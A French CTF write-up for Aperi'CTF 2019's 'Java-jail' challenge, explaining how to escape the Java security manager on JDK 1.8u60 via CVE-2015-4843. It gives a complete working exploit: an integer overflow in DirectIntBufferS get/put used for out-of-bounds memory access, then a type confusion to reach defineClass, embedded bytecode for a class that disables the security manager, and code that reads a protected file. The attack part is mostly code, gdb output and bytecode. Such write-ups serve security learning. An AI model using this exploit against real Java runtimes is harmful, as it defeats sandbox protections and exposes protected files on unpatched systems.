Java-jail

Aperi'CTF 2019 - Pwn (450 pts).

Aperi’CTF 2019 - Java-jail

Challenge details

Event Challenge Category Points Solves
Aperi’CTF 2019 Java-jail Pwn 450 0

Dans le cadre du mouvement #BalanceTaCVE, la société “Un PoC, un cookie” met à disposition un environnement vulnérable . Saurez-vous sortir de la JVM ?

Note : Le flag est dans le fichier /passwd

Accès au serveur :

sshpass -p V5fCqvaGULh7XGK3 ssh -p 31339 -o StrictHostKeyChecking=no chall@javajail.aperictf.fr

Ou en ssh avec le mot de passe V5fCqvaGULh7XGK3:

ssh -p 31339 -o StrictHostKeyChecking=no chall@javajail.aperictf.fr

TL;DR

Créer un exploit pour la CVE-2015-4843 à partir de la documentation disponible sur internet.

Methodology

Le programme wrapper est lancé en tant que root (bit setuid). Il charge la classe Test dans une JVM avec l’option -Djava.security.manager.

int main(int argc,char** argv)
{
	printf("Running Test.class in Java Sandbox ...\n");
	setreuid(0,0);
	setregid(0,0);
	char* args[] = {"/opt/jdk1.8.0_60/bin/java","-Djava.security.manager","-Xmx8G","Test",NULL};
	execve("/opt/jdk1.8.0_60/bin/java",args,NULL);
}

-Djava.security.manager active la politique de sécurité par défaut de java (défini dans le fichier java.policy). Ce qui empêche le programme d’accéder au système de fichiers ou encore d’exécuter des processus.

java 1.8 update 60 présente plusieurs vulnérabilités dont la CVE-2015-4843 décrite dans l’article phrack suivant https://www.exploit-db.com/papers/45517 . Ce writeup détail le minimum pour pouvoir exploiter la vulnérabilité, pour plus de détails voir le MISC n°095 Janvier 2018 ou l’article phrack cité ci-dessus.

Il y’a un Integer Overflow dans les classes Buffers dans le package java.nio. L’objectif est d’exploiter cette vulnérabilité pour obtenir une confusion de type qui permettra de charger une classe qui désactivera le security manager.

Le security manager

Comme on peut le voir la JVM est lancée avec l’options -Djava.security.manager mais qu’est ce que le security manager ?

Les classes fournies par la bibliothèque standard de Java (JCL Java Class Library) implémentent la plupart du temps des contrôles lorsque le security manager est activé. Par exemple la classe FileInputStream vérifie que l’appelant à des droits de lecture ( security.checkRead(null) ) seulement si le security manager est activé (security != null). Les attaques classiques contre les Sandbox Java consistent à désactiver le security manager ( System.setSecurityManager(null); )

public FileInputStream(File file) throws FileNotFoundException {
    	String name = (file != null ? file.getPath() : null);
    	SecurityManager security = System.getSecurityManager();
    	if (security != null) {
            security.checkRead(name);
        }
    	if (name == null) {
            throw new NullPointerException();
        }
    	if (file.isInvalid()) {
            throw new FileNotFoundException("Invalid file path");
        }
    	fd = new FileDescriptor();
    	fd.incrementAndGetUseCount();
    	this.path = name;
    	open(name);
}

La méthode doPrivileged

Lorsqu’une permission “P” est vérifiée, la JVM vérifie que tous les éléments de la pile d’appel on accès à la permission “P”. Si l’un des éléments de la pile d’appel n’a pas la permission “P” alors une exception est levé. Cependant il y’a des cas particuliers, par exemple :

  • lorsqu’une méthode m1() d’une classe de la JCL qui n’as pas besoin de permission pour être appelée appelle une méthode m2() qui à besoin d’une permission “P2” pour s’exécuter.

m1 et m2 ont la permission “P2” car se sont des classes de confiance (trusted) de la JCL, mais main n’as pas la permission “P2”. Pour palier à ce problème m1 appelle la méthode m2 en utilisant doPrivileged ainsi lorsque les permissions sont vérifiées, la JVM parcours tous les éléments de la pile d’appel jusqu’à doPrivileged

Le bug

La vulnérabilité se situe dans la méthode get de la classe DirectIntBufferS (le S indique que la classe traite des nombres signés). Le prototype de get est le suivant:

public IntBuffer get(int [] dst,int offset,int length)

Elle permet de transférer length entiers de ce Buffer vers le tableau donné (dst) à partir de l’offset donnés (offset). En résumé src.get(dst,off,len) peu se résumer en:

for (int i = off; i < off + len; i++)
         dst[i] = src.get();

Sauf que get n’est pas réellement implémentée de cette manière, voici son implémentation:

public IntBuffer get(int[] dst, int offset, int length) 
{
        if ((length << 2) > Bits.JNI_COPY_TO_ARRAY_THRESHOLD) {
            checkBounds(offset, length, dst.length);
            int pos = position();
            int lim = limit();
            assert (pos <= lim);
            int rem = (pos <= lim ? lim - pos : 0);
            if (length > rem)
                throw new BufferUnderflowException();


            if (order() != ByteOrder.nativeOrder())
                Bits.copyToIntArray(ix(pos), dst,
                                          offset << 2,
                                          length << 2);
            else

                Bits.copyToArray(ix(pos), dst, arrayBaseOffset,
                                 offset << 2,
                                 length << 2);
            position(pos + length);
        } else 
        {
            super.get(dst, offset, length);
        }
        return this;
    }

Le bug se situe au niveau des lignes suivantes:

if (order() != ByteOrder.nativeOrder())
                Bits.copyToIntArray(ix(pos), dst,
                                          offset << 2,
                                          length << 2);
            else

                Bits.copyToArray(ix(pos), dst, arrayBaseOffset,
                                 offset << 2,
                                 length << 2);

Le prototype de copyToArray est défini de la manière suivante dans le fichier Bits.java:

static native void copyToIntArray(long srcAddr, Object dst, long dstPos,
                                      long length);

Les paramètres offset et length de get sont des entiers signés sur 32 bits, << 2 équivaut à une multiplication par 4 (car les éléments du tableau sont des entiers de 32 bits donc on multiplie par 4 pour avoir la taille en octets et l’offset en octets). Cependant si offset ou length ont une très grande valeur comme 2147483647 le résultat de la multiplication déborde et il y’a integer overflow, ex:

2147483647 * 4 = 8589934588 => 0x1 FFFFFFFC => 0xFFFFFFFC => -4

Par conséquent on peut potentiellement appeler copyToIntArray avec un offset négatif ( -4 ) et donc écrire des entiers avant dst.

Déclencher le bug

Cependant pour atteindre le bug il faut d’abord passer les différentes vérifications dans la fonction public IntBuffer get(int[] dst, int offset, int length).

Le premier bout de code défini s’il est nécessaire de passer par la méthode native pour transférer les entiers du buffer vers le tableau. JNI_COPY_TO_ARRAY_THRESHOLD vaut 6, donc il faut un paramètre length tel que length * 4 > 6.

if ((length << 2) > Bits.JNI_COPY_TO_ARRAY_THRESHOLD)

La deuxième vérification se trouve au niveau de la fonction checkBounds.

checkBounds(offset, length, dst.length);

checkBounds est défini ci-dessous dans le fichier Buffer.java, dans notre cas : len correspond au nombre d’éléments que l’on veut copier et size la taille du tableau de destination.

static void checkBounds(int off, int len, int size) 
{ // package-private
        if ((off | len | (off + len) | (size - (off + len))) < 0)
            throw new IndexOutOfBoundsException();
}

Ce qui implique :

  • offset >= 0
  • length >= 0 (doit aussi être supérieur à 1 Cf. première condition)
  • offset + length >= 0
  • dst.length - (offset + length) >= 0

La troisième condition, vérifie simplement qu’il reste des éléments dans le buffer:

int pos = position();
int lim = limit();
assert (pos <= lim);
int rem = (pos <= lim ? lim - pos : 0);
if (length > rem)
    throw new BufferUnderflowException();

Comme expliqué dans l’article MISC n° 095 janvier 2018, une solution à ce système de contraintes est: [dst.length = 1209098507, offset = 1073741764, length=2].

  • CTR1: 2 << 2 = 8 > 6, OK
  • CTR2:
    • 1073741764 > 0
    • 1209098507 > 0
    • 1073741764 + 2 = 1073741766 > 0
    • 1209098507 - (1073741764 + 2) = 135356741 > 0
  • CTR3:
    • 2 < 100 ( Cf. code ci-dessous)

Cependant contrairement à ce qui est indiqué dans l’article MISC le code suivant crash:

public class Test {

	public static void main(String[] args) 
	{
		int[] dst = new int[1209098507];

		for (int i = 0; i < dst.length; i++)
		{
        	dst[i] = 0xAAAAAAAA;
        }
        
        int bytes = 400;
       	ByteBuffer bb = ByteBuffer.allocateDirect(bytes);                              
      	IntBuffer ib = bb.asIntBuffer();
	
		for (int i = 0; i < ib.limit(); i++) {
			ib.put(i, 0xBBBBBBBB);
		}
	
		int offset = 1073741764;  // offset << 2 = -240
		int length = 2;
		ib.get(dst, offset, length); // ecrit 2 octets a "-240 octets" avant dst 
	}
}

En utilisant misc.Unsafe on peut afficher l’adresse du tableau dst juste avant le crash, pour cela il suffit de rajouter les méthodes suivantes dans la classe Test. (Attention on ne peut pas utiliser unsafe lorsque le security manager est activé donc il faut faire les tests hors du programme wrapper)


static final Unsafe unsafe = getUnsafe();

public static void PrintAddress(String message,Object... array)
{
    int offset = unsafe.arrayBaseOffset(array.getClass());
    final long i1 = (unsafe.getLong(array,offset)) * 8;
    System.out.print(message);
    System.out.println(Long.toHexString(i1));
}

private static Unsafe getUnsafe() 
{
    try {
        Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
        theUnsafe.setAccessible(true);
        return (Unsafe) theUnsafe.get(null);
    } catch (Exception e) {
        throw new AssertionError(e);
    }
}

Et les quelques lignes suivantes dans la méthode main:

PrintAddress("dst:",dst); // on affiche l'adresse de dst avant le crash
ib.get(dst, offset, length); // ecrit 2 octets a "-240 octets" avant dst 
Comprendre le crash

Utilisons gdb pour comprendre pourquoi le programme plante :

(gdb) run -Xmx8G Test
[...]
dst:5c0000000

Thread 2 "java" received signal SIGSEGV, Segmentation fault.
0x00007ffff59fdcc0 in Java_java_nio_Bits_copyToIntArray () from /opt/jdk1.8.0_60/jre/lib/amd64/libjava
(gdb) x/10xw 0x5c0000000
0x5c0000000:    0x00000001      0x00000000      0xf800016d      0x4811610b
0x5c0000010:    0xaaaaaaaa      0xaaaaaaaa      0xaaaaaaaa      0xaaaaaaaa

Comme on peut le voir le tableau dst commence réellement à l’adresse 0x5c0000010 il est précédé d’un header de 16 octets. Le code plante lors de la copie lorsqu’on tente de copier les éléments du Buffer vers dst.

(gdb) disas $rip,$rip+0x04
Dump of assembler code from 0x7ffff59fdcc0 to 0x7ffff59fdce0:
=> <Java_java_nio_Bits_copyToIntArray+176>:  mov    DWORD PTR [rdi+rcx*4],eax
   <Java_java_nio_Bits_copyToIntArray+179>:  add    rcx,0x1
(gdb) info register $rdi
rdi            0x5bfffff20      24696061728
(gdb) info register $rcx
rcx            0x0      0
(gdb) info register $rax
rax            0xbbbbbbbb       3149642683 

RDI vaut 0x5bfffff20 soit 0x5c0000010 - 240, on tente bien d’écrire des entiers -240 octets avant sauf que comme le montre la commande suivante, adresse 0x5bfffff20 n’est pas valide dans l’espace virtuel du programme, ce qui provoque donc un segmentation fault.

(gdb) info proc mappings
process 30
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
            0x400000           0x401000     0x1000        0x0 /opt/jdk1.8.0_60/bin/java
            0x600000           0x601000     0x1000        0x0 /opt/jdk1.8.0_60/bin/java
            0x601000           0x622000    0x21000        0x0 [heap]
         0x5c0000000        0x6e5880000 0x125880000        0x0 
         0x6e5880000        0x715580000 0x2fd00000        0x0 
[...]

Pour corriger ce problème on peut allouer un tableau avant dst (assez grand pour qu’il soit placer dans le tas et non dans la pile).

Dans la méthode main on initialise un tableau d’entier avant dst :

int[] x = new int[8900000];
for(int i =0; i < x.length; i++)
{
	x[i] = 0xCCCCCCCC;
}
int[] dst = new int[1209098507];

Puis ensuite après avoir trigger la vulnérabilité on affiche le contenu de ce tableau :

ib.get(dst, offset, length); // ecrit 2 octets a "-240 octets" avant dst
for(int i = x.length - 240/4; i < x.length; i++)
{
    System.out.println(String.format("%08X",x[i]));
}

On peut voir que le tableau dst est alloué après x , et que le contenu du tableau x a bien été modifié:

chall@754cb8b01940:~$ /opt/jdk1.8.0_60/bin/java -Xmx8g Test
dst:5c21f3690
CCCCCCCC
CCCCCCCC
CCCCCCCC
CCCCCCCC
BBBBBBBB
BBBBBBBB
CCCCCCCC
[...]

On a donc notre primitive write, de plus la vulnérabilité est aussi présente dans la méthode put dont le prototype est le suivant :

public IntBuffer put(int[] src, int offset, int length)

Correctement exploitée, la méthode permet de lire des éléments avant src et de les placer dans le buffer.

Type confusion

Pour continuer l’exploit il est nécessaire de comprendre les confusions de type en Java, en résumé cela consiste à faire croire à la JVM qu’un objet est de type A alors qu’en réalité il est de type B.

La méthode defineClass() de la classe ClassLoader permet de définir une classe custom avec toutes les permissions. Cette méthode est protected c’est-à-dire qu’on ne peut pas l’appeler directement, une solution est de créer une classe qui hérite de ClassLoader pour pouvoir appeler cette méthode.

Cependant lorsque le security manager est activé on ne peut pas instancier une classe qui hérite de ClassLoader car celui-ci vérifie que l’appelant à la permissions “createClassLoader” (ce qui n’est pas le cas avec la policy par défaut).

Démonstration avec le programme suivant:

import java.net.URL;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;

public class Test
{
        public static class MyClassLoader extends ClassLoader
        {
			public static void doWork(MyClassLoader h) throws Throwable
            {
            	byte[] buffer = new byte[8]; // Class en raw, pour l'instant vide pour la démonstration
				URL url = new URL("file:///");
				Certificate[] certs = new Certificate[0];
				Permissions perm = new Permissions();
                perm.add(new AllPermission());
               	ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(url, certs), perm);
                // on peut appeler h.defineClass puisque MyClassLoader hérite de ClassLoader
                Class cls = h.defineClass("DefaultHelper", buffer, 0,
                buffer.length, protectionDomain);
               	cls.newInstance();
            }
        }

        public static void main(String[] args) throws Throwable
        {
                MyClassLoader a = new MyClassLoader();
        }
}

Et lorsqu’on le lance avec le security manager par défaut on a une belle exception:

chall@754cb8b01940:~$ /opt/jdk1.8.0_60/bin/java -Djava.security.manager Test
Exception in thread "main" java.security.AccessControlException: access denied ("java.lang.RuntimePermission" "createClassLoader")
        at java.security.AccessControlContext.checkPermission(AccessControlContext.java:472)
        at java.security.AccessController.checkPermission(AccessController.java:884)
        at java.lang.SecurityManager.checkPermission(SecurityManager.java:549)
        at java.lang.SecurityManager.checkCreateClassLoader(SecurityManager.java:611)
        at java.lang.ClassLoader.checkCreateClassLoader(ClassLoader.java:274)
        at java.lang.ClassLoader.<init>(ClassLoader.java:335)
        at Test$MyClassLoader.<init>(Test.java:10)
        at Test.main(Test.java:28)

Pour appeler la méthode doWork de la classe MyClassLoader l’idée est de récupérer une instance existante d’un objet de type ClassLoader et de faire croire à la JVM que c’est un objet de type MyClassLoader via une vulnérabilité type confusion. Cela nous permettra d’appeler la méthode doWork en passant comme paramètre un objet de type MyClassLoader (qui est en réalité un objet de type ClassLoader ) rendant la méthode protected defineClass accessible car MyClassLoader est une sous-classe de ClassLoader.

Il est possible de récupérer une instance de ClassLoader avec le code suivant:

MyClassLoader.class.getClassLoader();

Payload

Pour désactiver le security manager il faut appeler System.setSecurityManager(null) cependant comme expliquer précédemment la JVM vérifie que tous les éléments de la pile ont la permission setSecurityManager . Hors cls.newInstance() est appelée par doWork qui est appelé par main qui n’as pas la permissions pour désactiver le security manager. Pour cela il faut donc wrapper l’appel via doPrivileged.

import java.security.*;

public class DisableSec implements PrivilegedExceptionAction<Void> {

	public DisableSec() throws Throwable
	{
		System.out.println("loaded !");
		AccessController.doPrivileged(this);
	}

	public Void run() throws Exception{
		System.setSecurityManager(null);
		System.out.println("security manager is disabled !");
		return null;
	}
}

Ensuite on compile la classe puis on la converti en un buffer avec le script python suivant:

def sign(d):
	if d > 127:
		return "%d" % ((256 - d)*(-1))
	else:
		return "%d" % d

f = open("DisableSec.class","rb")
data = f.read()

r = "byte buffer [] = new byte[]{ "
for i in range(0,len(data) - 1):
	r+= sign(ord(data[i]))+","
r+=sign(ord(data[len(data)-1]))+"};"
print(r)
f.close()

La classe suivante seras utilisée dans la suite de l’exploit. Elle charge ( via defineClass ) la classe DisableSec avec toutes les permissions puis elle instancie un objet de type DisableSec qui désactive le security manager.

private static class MyClassLoader extends ClassLoader
        {
            public static void doWork(MyClassLoader h) throws Throwable
            {
                byte buffer [] = new byte[]{ -54,-2,-70,-66,0,0,0,52,0,53,10,0,10,0,26,9,0,27,0,28,8,0,29,10,0,30,0,31,10,0,32,0,33,10,0,27,0,34,8,0,35,10,0,9,0,36,7,0,37,7,0,38,7,0,39,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,10,69,120,99,101,112,116,105,111,110,115,7,0,40,1,0,3,114,117,110,1,0,18,40,41,76,106,97,118,97,47,108,97,110,103,47,86,111,105,100,59,7,0,41,1,0,20,40,41,76,106,97,118,97,47,108,97,110,103,47,79,98,106,101,99,116,59,1,0,9,83,105,103,110,97,116,117,114,101,1,0,77,76,106,97,118,97,47,108,97,110,103,47,79,98,106,101,99,116,59,76,106,97,118,97,47,115,101,99,117,114,105,116,121,47,80,114,105,118,105,108,101,103,101,100,69,120,99,101,112,116,105,111,110,65,99,116,105,111,110,60,76,106,97,118,97,47,108,97,110,103,47,86,111,105,100,59,62,59,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,15,68,105,115,97,98,108,101,83,101,99,46,106,97,118,97,12,0,12,0,13,7,0,42,12,0,43,0,44,1,0,8,108,111,97,100,101,100,32,33,7,0,45,12,0,46,0,47,7,0,48,12,0,49,0,50,12,0,51,0,52,1,0,30,115,101,99,117,114,105,116,121,32,109,97,110,97,103,101,114,32,105,115,32,100,105,115,97,98,108,101,100,32,33,12,0,18,0,19,1,0,10,68,105,115,97,98,108,101,83,101,99,1,0,16,106,97,118,97,47,108,97,110,103,47,79,98,106,101,99,116,1,0,39,106,97,118,97,47,115,101,99,117,114,105,116,121,47,80,114,105,118,105,108,101,103,101,100,69,120,99,101,112,116,105,111,110,65,99,116,105,111,110,1,0,19,106,97,118,97,47,108,97,110,103,47,84,104,114,111,119,97,98,108,101,1,0,19,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,1,0,16,106,97,118,97,47,108,97,110,103,47,83,121,115,116,101,109,1,0,3,111,117,116,1,0,21,76,106,97,118,97,47,105,111,47,80,114,105,110,116,83,116,114,101,97,109,59,1,0,19,106,97,118,97,47,105,111,47,80,114,105,110,116,83,116,114,101,97,109,1,0,7,112,114,105,110,116,108,110,1,0,21,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,86,1,0,30,106,97,118,97,47,115,101,99,117,114,105,116,121,47,65,99,99,101,115,115,67,111,110,116,114,111,108,108,101,114,1,0,12,100,111,80,114,105,118,105,108,101,103,101,100,1,0,61,40,76,106,97,118,97,47,115,101,99,117,114,105,116,121,47,80,114,105,118,105,108,101,103,101,100,69,120,99,101,112,116,105,111,110,65,99,116,105,111,110,59,41,76,106,97,118,97,47,108,97,110,103,47,79,98,106,101,99,116,59,1,0,18,115,101,116,83,101,99,117,114,105,116,121,77,97,110,97,103,101,114,1,0,30,40,76,106,97,118,97,47,108,97,110,103,47,83,101,99,117,114,105,116,121,77,97,110,97,103,101,114,59,41,86,0,33,0,9,0,10,0,1,0,11,0,0,0,3,0,1,0,12,0,13,0,2,0,14,0,0,0,54,0,2,0,1,0,0,0,18,42,-73,0,1,-78,0,2,18,3,-74,0,4,42,-72,0,5,87,-79,0,0,0,1,0,15,0,0,0,18,0,4,0,0,0,6,0,4,0,7,0,12,0,8,0,17,0,9,0,16,0,0,0,4,0,1,0,17,0,1,0,18,0,19,0,2,0,14,0,0,0,46,0,2,0,1,0,0,0,14,1,-72,0,6,-78,0,2,18,7,-74,0,4,1,-80,0,0,0,1,0,15,0,0,0,14,0,3,0,0,0,12,0,4,0,13,0,12,0,14,0,16,0,0,0,4,0,1,0,20,16,65,0,18,0,21,0,2,0,14,0,0,0,29,0,1,0,1,0,0,0,5,42,-74,0,8,-80,0,0,0,1,0,15,0,0,0,6,0,1,0,0,0,3,0,16,0,0,0,4,0,1,0,20,0,2,0,22,0,0,0,2,0,23,0,24,0,0,0,2,0,25};
                URL url = new URL("file:///");
                Certificate[] certs = new Certificate[0];
                Permissions perm = new Permissions();
                perm.add(new AllPermission());
                ProtectionDomain protectionDomain = new ProtectionDomain(
                        new CodeSource(url,certs),perm);
                Class cls = h.defineClass("DisableSec",buffer,0,buffer.length,protectionDomain);
                cls.newInstance();
            }    
        } 

Final exploit

Grâce au méthode get et put on peut échanger des données entre deux tableaux de type différents car la copie est réalisée de manière native donc sans vérification de type. L’idée est de lire une référence d’un objet de type ClassLoader et de l’écrire dans un tableau de MyClassLoader.

Pour récupérer une référence de l’objet ClassLoader on peut utiliser getClassLoader.

ref = Test.class.getClassLoader();

On va récupérer sa référence sous la forme d’un entier grâce à la méthode put de IntBuffer.

Explication de l’offset :

dst à un header de 16 octets (Cf. partie comprendre le crash), il faut donc que l’offset soit < - 16, soit 1073741820 << 2 = -16, et comme je copie les 8 (choix arbitraire) derniers éléments du tableau précédent dst : 1073741820 - 8.

int offset = 1073741820 - 8;
int length = 8;

ByteBuffer bb = ByteBuffer.allocateDirect(400);
IntBuffer ib = bb.asIntBuffer();
for(int i = 0; i< ib.limit(); i++)
{
    ib.put(i,0xBBBBBBBB);
}

ClassLoader [] between = new ClassLoader[8900000];
int [] dst = new int[1209098507];

// On rempli le tableau de ClassLoader avec la réference de ClassLoader
for(int i = 0; i < between.length; i++)
{
    between[i] = ref;
}
// On récupére les éléments avant le tableau dst soit les éléments du tableau between
// between contient des références vers un objet de type ClassLoader
ib.put(dst,offset,length);
int reference = ib.get(0); // ib contient maintenant une réference vers un objet de type ClassLoader sous forme d'entier

Ensuite on supprime les deux tableaux en mémoire via le garbage collector de Java.

between = null;
dst = null;
System.gc();

On remplit le IntBuffer par la référence vers l’objet de type ClassLoader qui va être utilisée comme la source des données à copier.

for(int i =0; i < ib.limit(); i++)
{
	ib.put(i,reference);
}

On alloue cette fois-ci un tableau d’objet de type MyClassLoader avant dst, puis on copie la référence de notre objet ClassLoader dans le tableau de type MyClassLoader via get.

MyClassLoader loaders[] = new MyClassLoader[8900000];
dst = new int[1209098507];

for(int i =0; i < loaders.length;i++)
{
	loaders[i] = null;
}
// place les éléments de ib avant dst soit dans le tableau loaders
ib.get(dst,offset,length);

On a maintenant des références vers un objet de type ClassLoader dans un tableau de type MyClassLoader confusion de type accomplie \o/.

Il ne reste plus qu’à désactiver le security manager et lire le flag.

MyClassLoader h = loaders[loaders.length - 1];
MyClassLoader.doWork(h);

InputStream is = new FileInputStream("/passwd");
BufferedReader buf = new BufferedReader(new InputStreamReader(is));
String line = buf.readLine();
System.out.println(line);

Flag

Flag: APRK{typ3_c0nfusi0n_vuln3r4bl3}